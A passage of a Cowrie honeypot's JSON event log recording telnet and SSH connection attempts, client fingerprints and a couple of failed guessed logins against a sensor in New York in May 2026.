af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:37.989227Z","src_ip":"202.145.0.61","session":"4880c1c81b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.24462080001831,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:38.118690Z","src_ip":"23.111.140.22","session":"1b8f35eda21d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48384,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f75e875a6b0","protocol":"telnet","message":"New connection: 23.111.140.22:48384 (10.17.0.5:23) [session: 3f75e875a6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:38.746263Z"}
{"eventid":"cowrie.login.failed","username":"gmod","password":"gmodserver","message":"login attempt [gmod/gmodserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:38.956384Z","src_ip":"202.145.0.61","session":"4880c1c81b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52186,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a6684fddcd5","protocol":"telnet","message":"New connection: 23.111.140.22:52186 (10.17.0.5:23) [session: 6a6684fddcd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:39.051584Z"}
{"eventid":"cowrie.session.closed","duration":30.396530389785767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:39.125893Z","src_ip":"23.111.140.22","session":"e5d95056a9f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49740,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dab7491487e","protocol":"telnet","message":"New connection: 23.111.140.22:49740 (10.17.0.5:23) [session: 8dab7491487e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:39.191195Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:40.192503Z","src_ip":"202.145.0.61","session":"4880c1c81b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56312,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8ada8139173","protocol":"telnet","message":"New connection: 23.111.140.22:56312 (10.17.0.5:23) [session: d8ada8139173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:40.548371Z"}
{"eventid":"cowrie.session.closed","duration":40.68512940406799,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:41.372441Z","src_ip":"23.111.140.22","session":"1a6243174377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":54188,"dst_ip":"10.17.0.5","dst_port":22,"session":"91d5738f37b3","protocol":"ssh","message":"New connection: 135.235.138.43:54188 (10.17.0.5:22) [session: 91d5738f37b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:41.740957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:41.746022Z","src_ip":"135.235.138.43","session":"91d5738f37b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:41.933600Z","src_ip":"135.235.138.43","session":"91d5738f37b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55592,"dst_ip":"10.17.0.5","dst_port":23,"session":"98c9b38da638","protocol":"telnet","message":"New connection: 23.111.140.22:55592 (10.17.0.5:23) [session: 98c9b38da638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:42.636947Z"}
{"eventid":"cowrie.session.closed","duration":0.00517582893371582,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:42.642023Z","src_ip":"23.111.140.22","session":"98c9b38da638","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa134679","message":"login attempt [ubuntu/Aa134679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:42.714756Z","src_ip":"135.235.138.43","session":"91d5738f37b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.438101291656494,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:43.417730Z","src_ip":"23.111.140.22","session":"dc6e7bb3ef76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.73150610923767,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:43.555210Z","src_ip":"23.111.140.22","session":"8c4afbe99128","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:43.904459Z","src_ip":"135.235.138.43","session":"91d5738f37b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37530,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa1c03b8ee3d","protocol":"telnet","message":"New connection: 23.111.140.22:37530 (10.17.0.5:23) [session: fa1c03b8ee3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:43.926391Z"}
{"eventid":"cowrie.session.closed","duration":31.20294427871704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:44.421692Z","src_ip":"23.111.140.22","session":"7f9a36dd50a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854886293411255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:45.148492Z","src_ip":"23.111.140.22","session":"bf871f15ab1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011553525924683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:46.047551Z","src_ip":"23.111.140.22","session":"0bf6c6587421","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36524,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed6fbfe71d85","protocol":"telnet","message":"New connection: 23.111.140.22:36524 (10.17.0.5:23) [session: ed6fbfe71d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:46.560866Z"}
{"eventid":"cowrie.session.closed","duration":31.363571166992188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:46.824755Z","src_ip":"23.111.140.22","session":"1ac8578dad5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43670,"dst_ip":"10.17.0.5","dst_port":23,"session":"8af75e254c81","protocol":"telnet","message":"New connection: 23.111.140.22:43670 (10.17.0.5:23) [session: 8af75e254c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:47.152991Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48937,"dst_ip":"10.17.0.5","dst_port":23,"session":"b978d19617f7","protocol":"telnet","message":"New connection: 23.111.140.22:48937 (10.17.0.5:23) [session: b978d19617f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:47.981895Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53886,"dst_ip":"10.17.0.5","dst_port":23,"session":"506172e06bc9","protocol":"telnet","message":"New connection: 23.111.140.22:53886 (10.17.0.5:23) [session: 506172e06bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:49.799896Z"}
{"eventid":"cowrie.session.closed","duration":31.176599264144897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:50.316286Z","src_ip":"23.111.140.22","session":"b3fe37348060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56330,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f21d069744c","protocol":"telnet","message":"New connection: 23.111.140.22:56330 (10.17.0.5:23) [session: 6f21d069744c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:50.576910Z"}
{"eventid":"cowrie.session.closed","duration":78.45843839645386,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:52.572434Z","src_ip":"23.111.140.22","session":"2011c1bc117d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.889119863510132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:53.531557Z","src_ip":"23.111.140.22","session":"22aa0561fd2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759344816207886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:54.056361Z","src_ip":"23.111.140.22","session":"07e0b3a74eea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.83134126663208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:54.421677Z","src_ip":"23.111.140.22","session":"7fab8a45eedb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34296,"dst_ip":"10.17.0.5","dst_port":23,"session":"69e63b79eaaa","protocol":"telnet","message":"New connection: 23.111.140.22:34296 (10.17.0.5:23) [session: 69e63b79eaaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:55.786469Z"}
{"eventid":"cowrie.session.closed","duration":31.146183490753174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:56.018969Z","src_ip":"23.111.140.22","session":"a5ef73abefac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59726,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5dca62e4106","protocol":"telnet","message":"New connection: 23.111.140.22:59726 (10.17.0.5:23) [session: a5dca62e4106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:56.835673Z"}
{"eventid":"cowrie.session.closed","duration":33.499863147735596,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:57.325495Z","src_ip":"23.111.140.22","session":"9b231bfcb83d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139092445373535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:59.219050Z","src_ip":"23.111.140.22","session":"7a247f92c93e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.378347873687744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:59.236563Z","src_ip":"23.111.140.22","session":"c2fef58a14d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.370834350585938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:59.386307Z","src_ip":"23.111.140.22","session":"97ea4304b5c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51476,"dst_ip":"10.17.0.5","dst_port":23,"session":"f50b820c5e09","protocol":"telnet","message":"New connection: 23.111.140.22:51476 (10.17.0.5:23) [session: f50b820c5e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:59.466436Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54352,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eff074d2311","protocol":"telnet","message":"New connection: 23.111.140.22:54352 (10.17.0.5:23) [session: 1eff074d2311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:59.495446Z"}
{"eventid":"cowrie.session.closed","duration":31.637535333633423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:27:59.747498Z","src_ip":"23.111.140.22","session":"d3d4a1b38d38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59874,"dst_ip":"10.17.0.5","dst_port":23,"session":"9240c2ad8f60","protocol":"telnet","message":"New connection: 23.111.140.22:59874 (10.17.0.5:23) [session: 9240c2ad8f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:00.099642Z"}
{"eventid":"cowrie.session.closed","duration":36.240641832351685,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:00.340662Z","src_ip":"23.111.140.22","session":"79500606b0cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58346,"dst_ip":"10.17.0.5","dst_port":23,"session":"8af9e440f8fa","protocol":"telnet","message":"New connection: 23.111.140.22:58346 (10.17.0.5:23) [session: 8af9e440f8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:00.912827Z"}
{"eventid":"cowrie.session.closed","duration":30.314889430999756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:01.061993Z","src_ip":"23.111.140.22","session":"8dcc40b5e69c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43734,"dst_ip":"159.203.135.109","dst_port":23,"session":"90cb86b6db60","protocol":"telnet","message":"New connection: 174.138.46.234:43734 (159.203.135.109:23) [session: 90cb86b6db60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:01.920348Z"}
{"eventid":"cowrie.session.closed","duration":31.473750591278076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:01.927917Z","src_ip":"23.111.140.22","session":"3f251a5032f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43598,"dst_ip":"159.203.135.109","dst_port":23,"session":"939aa1e317ca","protocol":"telnet","message":"New connection: 174.138.46.234:43598 (159.203.135.109:23) [session: 939aa1e317ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:02.481631Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43904,"dst_ip":"159.203.135.109","dst_port":23,"session":"89e518fb7878","protocol":"telnet","message":"New connection: 174.138.46.234:43904 (159.203.135.109:23) [session: 89e518fb7878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:02.554127Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42238,"dst_ip":"10.17.0.5","dst_port":23,"session":"e44c713a29c6","protocol":"telnet","message":"New connection: 23.111.140.22:42238 (10.17.0.5:23) [session: e44c713a29c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:02.661203Z"}
{"eventid":"cowrie.session.closed","duration":30.433284044265747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:03.037588Z","src_ip":"23.111.140.22","session":"5c15daccf62c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.00089359283447,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:04.020556Z","src_ip":"23.111.140.22","session":"9b4eabed2f5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43858,"dst_ip":"159.203.135.109","dst_port":23,"session":"accff070d40e","protocol":"telnet","message":"New connection: 174.138.46.234:43858 (159.203.135.109:23) [session: accff070d40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:05.304198Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42784,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c2a098b5c0","protocol":"telnet","message":"New connection: 23.111.140.22:42784 (10.17.0.5:23) [session: 22c2a098b5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:05.529828Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49512,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6f2426922ec","protocol":"telnet","message":"New connection: 23.111.140.22:49512 (10.17.0.5:23) [session: e6f2426922ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:07.880383Z"}
{"eventid":"cowrie.session.closed","duration":31.164451122283936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:08.173283Z","src_ip":"23.111.140.22","session":"322492dcfefe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0351643562316895,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:08.339176Z","src_ip":"174.138.46.234","session":"accff070d40e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50464,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb7ce8e67afb","protocol":"telnet","message":"New connection: 23.111.140.22:50464 (10.17.0.5:23) [session: eb7ce8e67afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:09.216403Z"}
{"eventid":"cowrie.session.closed","duration":30.44337773323059,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:09.634483Z","src_ip":"23.111.140.22","session":"8dab7491487e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945977210998535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:09.692182Z","src_ip":"23.111.140.22","session":"3f75e875a6b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55358,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5e846548599","protocol":"telnet","message":"New connection: 23.111.140.22:55358 (10.17.0.5:23) [session: d5e846548599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:09.872392Z"}
{"eventid":"cowrie.session.closed","duration":31.429166793823242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:10.480604Z","src_ip":"23.111.140.22","session":"6a6684fddcd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54320,"dst_ip":"10.17.0.5","dst_port":23,"session":"2657739df315","protocol":"telnet","message":"New connection: 23.111.140.22:54320 (10.17.0.5:23) [session: 2657739df315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:10.525309Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59252,"dst_ip":"10.17.0.5","dst_port":23,"session":"045b65f49386","protocol":"telnet","message":"New connection: 23.111.140.22:59252 (10.17.0.5:23) [session: 045b65f49386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:11.174813Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60552,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c0939751fc1","protocol":"telnet","message":"New connection: 23.111.140.22:60552 (10.17.0.5:23) [session: 9c0939751fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:11.660115Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60830,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb3cd2617e8b","protocol":"telnet","message":"New connection: 23.111.140.22:60830 (10.17.0.5:23) [session: cb3cd2617e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:12.766467Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33074,"dst_ip":"10.17.0.5","dst_port":23,"session":"8542d9ed6ac1","protocol":"telnet","message":"New connection: 23.111.140.22:33074 (10.17.0.5:23) [session: 8542d9ed6ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:12.924453Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37598,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea62b628249b","protocol":"telnet","message":"New connection: 23.111.140.22:37598 (10.17.0.5:23) [session: ea62b628249b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:13.659215Z"}
{"eventid":"cowrie.session.closed","duration":33.46728706359863,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:14.015544Z","src_ip":"23.111.140.22","session":"d8ada8139173","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87450098991394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:14.800793Z","src_ip":"23.111.140.22","session":"fa1c03b8ee3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99344563484192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:17.554205Z","src_ip":"23.111.140.22","session":"ed6fbfe71d85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48572,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5a50abd3448","protocol":"telnet","message":"New connection: 23.111.140.22:48572 (10.17.0.5:23) [session: a5a50abd3448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:18.735207Z"}
{"eventid":"cowrie.session.closed","duration":31.150082111358643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:19.131849Z","src_ip":"23.111.140.22","session":"b978d19617f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53088,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ab216a268e9","protocol":"telnet","message":"New connection: 23.111.140.22:53088 (10.17.0.5:23) [session: 2ab216a268e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:19.399782Z"}
{"eventid":"cowrie.session.closed","duration":32.63468885421753,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:28:19.787548Z","src_ip":"23.111.140.22","session":"8af75e254c81","protocol":"telnet"}
